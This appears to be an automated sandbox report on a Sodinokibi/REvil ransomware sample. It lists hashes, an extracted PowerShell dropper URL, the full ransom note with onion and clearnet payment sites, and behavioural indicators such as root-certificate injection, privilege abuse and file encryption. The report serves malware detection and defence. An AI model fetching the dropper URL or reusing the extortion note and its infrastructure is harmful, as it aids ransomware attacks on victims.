sodinokibi | ca5e262f907de83f54f02c1a29643f7584d7934d6aeaf1244dd919d43aac6d05

General

Target

16c5855700e70589f21792245af61fb6.bat
Size

221B
MD5

bf1ad4f345b9b33c5574e4e4458d008a
SHA1

b9bca5ce8683a86288b5431fde6d057f34cfe281
SHA256

ca5e262f907de83f54f02c1a29643f7584d7934d6aeaf1244dd919d43aac6d05
SHA512

4cfd0d06e0a11ff538e91457726895667ed88c73c9b533717bffc82d00e839d690c01917180b01f1c7d6c9640c938ba4991d9c06a7184d0d737f0506d57b3585

Score

10^/10

ransomware persistence evasion spyware trojan sodinokibi

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/16c5855700e70589f21792245af61fb6

Extracted

Path

C:\39scc5c-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension 39scc5c. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/578F0CBD51C9BC23 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/578F0CBD51C9BC23 3) If you still have problems accessing the site, you can write to us at: [email protected], indicating the external IP address, country, key xG/BQaXnlcbHqng4833dpCfYG5weDyyN4gDTKZYhE51CqdVwIpu0RyEf/dMcj1nh eI+fhp+LrZpLf1IrztVNBF0gylfe+gsVROjRT0+5zFFvy1fyr1OEas+LTmXZzoE0 tc4RFVf3XA+hAu0Z48bshrho3jR3dthoADkAuI4WibE2jt7XZ9EIW8n5tZIZ7PTj bFoSIYYj4737cjjFd1Db7dvspj78hqsTIBybmKNNlCKYLU6xk+CYQqO+rwCEQf7X FOYv9WZ8Q65vJFz17jwffnsteydMRAhezpH3qp64QF0DCoAvDOaya9XUQmIfucQK 6Cb/CueZ+NbbBFU6CR+WbeA6bMM6h7ZNmm6CFxBT5He+kDRLhsu5Prnkgt7l0yIj a6DYqrV2zkM59sXKqspL5dUG3Br2r9EIfpLrnYP/excX4pdychWB1GdNmGeK88v7 ONc+J5gZYVIB/frUKwFoskwCjyzMNxadTmTYJp565a2tmjGFDnr/0y9rcMLy+uYf 1AjLmx36GGmv1unNL7DZ9eKjVLQk3jU3SAlqvOz5QSS2SpfdTvidgMN/+S0p03BK Tgu7f04z+2qG7/l7xDBrwTCdvqEjqJapLzU6RaEKq3FCGoiKLhgWzVk74av6uQp8 hpUnOfp8mjpOcM72Koyx03ePfXQA+6B99JFA6yqUKXu63aaqveDhkEJIpwSmeXqg 4q+q9wRk7LzRjzZDoBbR6Igdcr6FgVNSVg1W6NnV7cL299NCWahK0BgBEXhq6+BV 8ezB8C1qUdRp0JMOy9oEBx4e9itv0NZrENZJZWDQzLHR+r4MZL4/ZdWC9bOHzj6d uiR/UK61gsA2D2pgeKE6ak3NSZJucnbHvqP81EiILrB58dtio+2wJcjD6101l3p2 gFXStuQsBtRjrJp/Xq1gEIlzc0jjOagddRi3eaTgYPyThIdegGjAO3+8U2xckRQU 7WJUpHpBWiiWwATMxQKsPYUoT9QYifVs/1YkgpZ409N30PtGTZUPnE8hM00UEyF7 mwuDY99aYNs+cTmRQbCA2fm1Q/4tKVhj7Xn8f61H4In1UCUbJ/6fPlm83TtmOB1v zBGORBwxr56S+WZfBexWBTy/mQGy9QzFiX5KMlCqOA+MxxqQIMkN9pw3toEfbOu0 FrfTazYBA3tqfhXJ6nzx91pUZfD+kh1E+OaEDMYCGMHjg1IqpIv/EEGlXuHfGxxP XCX7DSoLHrWcpXcAbAnBNVIyX6aw4uKai8lX0I3f0HgjYHjTTBbTh75tsgqWKAGA cSRGM+yXjz39HNQGxS7V5r+3znPKmy4lwN/fEm0L01ABKA== and extension 39scc5c Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: xG/BQaXnlcbHqng4833dpCfYG5weDyyN4gDTKZYhE51CqdVwIpu0RyEf/dMcj1nh eI+fhp+LrZpLf1IrztVNBF0gylfe+gsVROjRT0+5zFFvy1fyr1OEas+LTmXZzoE0 tc4RFVf3XA+hAu0Z48bshrho3jR3dthoADkAuI4WibE2jt7XZ9EIW8n5tZIZ7PTj bFoSIYYj4737cjjFd1Db7dvspj78hqsTIBybmKNNlCKYLU6xk+CYQqO+rwCEQf7X FOYv9WZ8Q65vJFz17jwffnsteydMRAhezpH3qp64QF0DCoAvDOaya9XUQmIfucQK 6Cb/CueZ+NbbBFU6CR+WbeA6bMM6h7ZNmm6CFxBT5He+kDRLhsu5Prnkgt7l0yIj a6DYqrV2zkM59sXKqspL5dUG3Br2r9EIfpLrnYP/excX4pdychWB1GdNmGeK88v7 ONc+J5gZYVIB/frUKwFoskwCjyzMNxadTmTYJp565a2tmjGFDnr/0y9rcMLy+uYf 1AjLmx36GGmv1unNL7DZ9eKjVLQk3jU3SAlqvOz5QSS2SpfdTvidgMN/+S0p03BK Tgu7f04z+2qG7/l7xDBrwTCdvqEjqJapLzU6RaEKq3FCGoiKLhgWzVk74av6uQp8 hpUnOfp8mjpOcM72Koyx03ePfXQA+6B99JFA6yqUKXu63aaqveDhkEJIpwSmeXqg 4q+q9wRk7LzRjzZDoBbR6Igdcr6FgVNSVg1W6NnV7cL299NCWahK0BgBEXhq6+BV 8ezB8C1qUdRp0JMOy9oEBx4e9itv0NZrENZJZWDQzLHR+r4MZL4/ZdWC9bOHzj6d uiR/UK61gsA2D2pgeKE6ak3NSZJucnbHvqP81EiILrB58dtio+2wJcjD6101l3p2 gFXStuQsBtRjrJp/Xq1gEIlzc0jjOagddRi3eaTgYPyThIdegGjAO3+8U2xckRQU 7WJUpHpBWiiWwATMxQKsPYUoT9QYifVs/1YkgpZ409N30PtGTZUPnE8hM00UEyF7 mwuDY99aYNs+cTmRQbCA2fm1Q/4tKVhj7Xn8f61H4In1UCUbJ/6fPlm83TtmOB1v zBGORBwxr56S+WZfBexWBTy/mQGy9QzFiX5KMlCqOA+MxxqQIMkN9pw3toEfbOu0 FrfTazYBA3tqfhXJ6nzx91pUZfD+kh1E+OaEDMYCGMHjg1IqpIv/EEGlXuHfGxxP XCX7DSoLHrWcpXcAbAnBNVIyX6aw4uKai8lX0I3f0HgjYHjTTBbTh75tsgqWKAGA cSRGM+yXjz39HNQGxS7V5r+3znPKmy4lwN/fEm0L01ABKA== ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!! !!! !!! ATTENTION !!! !!! We want to warn you that in case of refusal to pay, we will post your confidential files that we have downloaded for general access or will sell part of them in the shadow market.

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/578F0CBD51C9BC23

http://decryptor.cc/578F0CBD51C9BC23

Signatures

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description ioc process

File opened for modification C:\Windows\System32\CatRoot2\dberr.txt powershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe

Modifies system certificate store 2 TTPs 10 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	powershell.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A	powershell.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 040000000100000010000000497904b0eb8719ac47b0bc11519b74d00f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d578112861900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b06010505070308200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	powershell.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 0400000001000000100000003e455215095192e1b75d379fb187298a0f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d190000000100000010000000a823b4a20180beb460cab955c24d7e21030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c1d00000001000000100000006ee7f3b060d10e90a31ba3471b999236140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b0b000000010000001600000047006c006f00620061006c005300690067006e0000005300000001000000230000003021301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0090000000100000068000000306606082b0601050507030106082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030806082b06010505070309060a2b0601040182370a030406082b0601050507030606082b0601050507030706082b06010505080202200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	powershell.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 430000000100000000000000040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d1900000001000000100000006cf252fec3e8f20996de5d4dd9aef424030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131d00000001000000100000004558d512eecb27464920897de7b66053140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc41560858910090000000100000016000000301406082b0601050507030406082b060105050703010b000000010000001e000000440053005400200052006f006f007400200043004100200058003300000020000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	powershell.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A\Blob = 040000000100000010000000324a4bbbc863699bbe749ac6dd1d46240f00000001000000140000000f6aad4c3fe04619cdc8b2bd655aa1a26042e650190000000100000010000000fd960962ac6938e0d4b0769aa1a64e26030000000100000014000000ad7e1c28b064ef8f6003402014c3d0e3370eb58a1d000000010000001000000090c4f4233b006b7bfaa6adcd8f577d77140000000100000014000000bf5fb7d1cedd1f86f45b55acdcd710c20ea988e709000000010000002a000000302806082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030353000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c00b000000010000005400000053007400610072006600690065006c006400200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f00720069007400790000002000000001000000130400003082040f308202f7a003020102020100300d06092a864886f70d01010505003068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137333931365a170d3334303632393137333931365a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100b732c8fee971a60485ad0c1164dfce4defc80318873fa1abfb3ca69ff0c3a1dad4d86e2b5390fb24a43e84f09ee85fece52744f528a63f7bdee02af0c8af532f9eca0501931e8f661c39a74dfa5ab673042566eb777fe759c64a99251454eb26c7f37f19d530708fafb0462affadeb29edd79faa0487a3d4f989a5345fdb43918236d9663cb1b8b982fd9c3a3e10c83bef0665667a9b19183dff71513c302e5fbe3d7773b25d066cc323569a2b8526921ca702b3e43f0daf087982b8363dea9cd335b3bc69caf5cc9de8fd648d1780336e5e4a5d99c91e87b49d1ac0d56e1335235edf9b5f3defd6f776c2ea3ebb780d1c42676b04d8f8d6da6f8bf244a001ab020103a381c53081c2301d0603551d0e04160414bf5fb7d1cedd1f86f45b55acdcd710c20ea988e73081920603551d2304818a3081878014bf5fb7d1cedd1f86f45b55acdcd710c20ea988e7a16ca46a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100059d3f889dd1c91a55a1ac69f3f359da9b01871a4f57a9a179092adbf72fb21eccc75e6ad88387a197ef49353e7706415862bf8e58b80a673fecb3dd21661fc954fa72cc3d4c40d881af779e837abba2c7f534178ed91140f4fc2c2a4d157fa7625d2e25d3000b201a1d68f917b8f4bd8bed2859dd4d168b1783c8b265c72d7aa5aabc53866ddd57a4caf820410b68f0f4fb74be565d7a79f5f91d85e32d95bef5719043cc8d1f9a000a8729e95522580023eae31243295b4708dd8c416a6506a8e521aa41b4952195b97dd134ab13d6adbcdce23d39cdbd3e7570a1185903c922b48f9cd55e2ad7a5b6d40a6df8b74011469a1f790e62bf0f97ece02f1f1794	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C	powershell.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

powershell.exe

pid process

644 powershell.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

Processes:

powershell.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	644	powershell.exe
Token: SeDebugPrivilege	644	powershell.exe
Token: SeDebugPrivilege	1772	powershell.exe
Token: SeBackupPrivilege	1572	vssvc.exe
Token: SeRestorePrivilege	1572	vssvc.exe
Token: SeAuditPrivilege	1572	vssvc.exe
Token: SeTakeOwnershipPrivilege	644	powershell.exe

Enumerates connected drives 3 TTPs

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082

Drops file in Program Files directory 23 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	\??\c:\program files\DisableEdit.bmp	powershell.exe
File opened for modification	\??\c:\program files\LimitExit.iso	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\39scc5c-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\NewProtect.M2V	powershell.exe
File opened for modification	\??\c:\program files\OutOpen.wma	powershell.exe
File created	\??\c:\program files\39scc5c-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\CompareInitialize.m4a	powershell.exe
File opened for modification	\??\c:\program files\FindConfirm.dot	powershell.exe
File opened for modification	\??\c:\program files\ResizeCopy.vdw	powershell.exe
File opened for modification	\??\c:\program files\ShowWait.wmx	powershell.exe
File opened for modification	\??\c:\program files\UseReset.txt	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\39scc5c-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\CheckpointHide.mpv2	powershell.exe
File opened for modification	\??\c:\program files\ConvertUse.DVR-MS	powershell.exe
File opened for modification	\??\c:\program files\CloseMeasure.tmp	powershell.exe
File opened for modification	\??\c:\program files\StopFormat.html	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\desktop\39scc5c-readme.txt	powershell.exe
File created	\??\c:\program files (x86)\39scc5c-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\CheckpointConvert.vdx	powershell.exe
File opened for modification	\??\c:\program files\SaveMount.au3	powershell.exe
File opened for modification	\??\c:\program files\UnpublishRename.xlsb	powershell.exe
File opened for modification	\??\c:\program files\LockUnblock.ppt	powershell.exe
File opened for modification	\??\c:\program files\RequestDisconnect.php	powershell.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\p64z43hdh9l9.bmp"	powershell.exe

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

cmd.exepowershell.exe

description	pid	process	target process
PID 1432 wrote to memory of 644	1432	cmd.exe	powershell.exe
PID 644 wrote to memory of 1772	644	powershell.exe	powershell.exe
PID 644 wrote to memory of 1772	644	powershell.exe	powershell.exe
PID 644 wrote to memory of 1772	644	powershell.exe	powershell.exe
PID 644 wrote to memory of 1772	644	powershell.exe	powershell.exe

Suspicious behavior: EnumeratesProcesses 77 IoCs

Processes:

powershell.exepowershell.exe

pid	process
644	powershell.exe
644	powershell.exe
644	powershell.exe
1772	powershell.exe
1772	powershell.exe
644	powershell.exe
644	powershell.exe
644	powershell.exe
644	powershell.exe
644	powershell.exe
644	powershell.exe
644	powershell.exe
644	powershell.exe
644	powershell.exe
644	powershell.exe
644	powershell.exe
644	powershell.exe
644	powershell.exe
644	powershell.exe
644	powershell.exe
644	powershell.exe
644	powershell.exe
644	powershell.exe
644	powershell.exe
644	powershell.exe
644	powershell.exe
644	powershell.exe
644	powershell.exe
644	powershell.exe
644	powershell.exe
644	powershell.exe
644	powershell.exe
644	powershell.exe
644	powershell.exe
644	powershell.exe
644	powershell.exe
644	powershell.exe
644	powershell.exe
644	powershell.exe
644	powershell.exe
644	powershell.exe
644	powershell.exe
644	powershell.exe
644	powershell.exe
644	powershell.exe
644	powershell.exe
644	powershell.exe
644	powershell.exe
644	powershell.exe
644	powershell.exe
644	powershell.exe
644	powershell.exe
644	powershell.exe
644	powershell.exe
644	powershell.exe
644	powershell.exe
644	powershell.exe
644	powershell.exe
644	powershell.exe
644	powershell.exe
644	powershell.exe
644	powershell.exe
644	powershell.exe
644	powershell.exe

Blacklisted process makes network request 86 IoCs

Processes:

powershell.exe

flow	pid	process
1	644	powershell.exe
5	644	powershell.exe
7	644	powershell.exe
9	644	powershell.exe
11	644	powershell.exe
13	644	powershell.exe
15	644	powershell.exe
17	644	powershell.exe
19	644	powershell.exe
20	644	powershell.exe
22	644	powershell.exe
24	644	powershell.exe
26	644	powershell.exe
27	644	powershell.exe
29	644	powershell.exe
30	644	powershell.exe
32	644	powershell.exe
33	644	powershell.exe
35	644	powershell.exe
36	644	powershell.exe
38	644	powershell.exe
39	644	powershell.exe
41	644	powershell.exe
43	644	powershell.exe
44	644	powershell.exe
46	644	powershell.exe
48	644	powershell.exe
53	644	powershell.exe
55	644	powershell.exe
57	644	powershell.exe
58	644	powershell.exe
60	644	powershell.exe
62	644	powershell.exe
63	644	powershell.exe
67	644	powershell.exe
69	644	powershell.exe
71	644	powershell.exe
73	644	powershell.exe
75	644	powershell.exe
76	644	powershell.exe
78	644	powershell.exe
80	644	powershell.exe
82	644	powershell.exe
84	644	powershell.exe
86	644	powershell.exe
88	644	powershell.exe
90	644	powershell.exe
93	644	powershell.exe
94	644	powershell.exe
96	644	powershell.exe
98	644	powershell.exe
99	644	powershell.exe
101	644	powershell.exe
103	644	powershell.exe
105	644	powershell.exe
107	644	powershell.exe
109	644	powershell.exe
110	644	powershell.exe
112	644	powershell.exe
113	644	powershell.exe
116	644	powershell.exe
118	644	powershell.exe
119	644	powershell.exe
121	644	powershell.exe

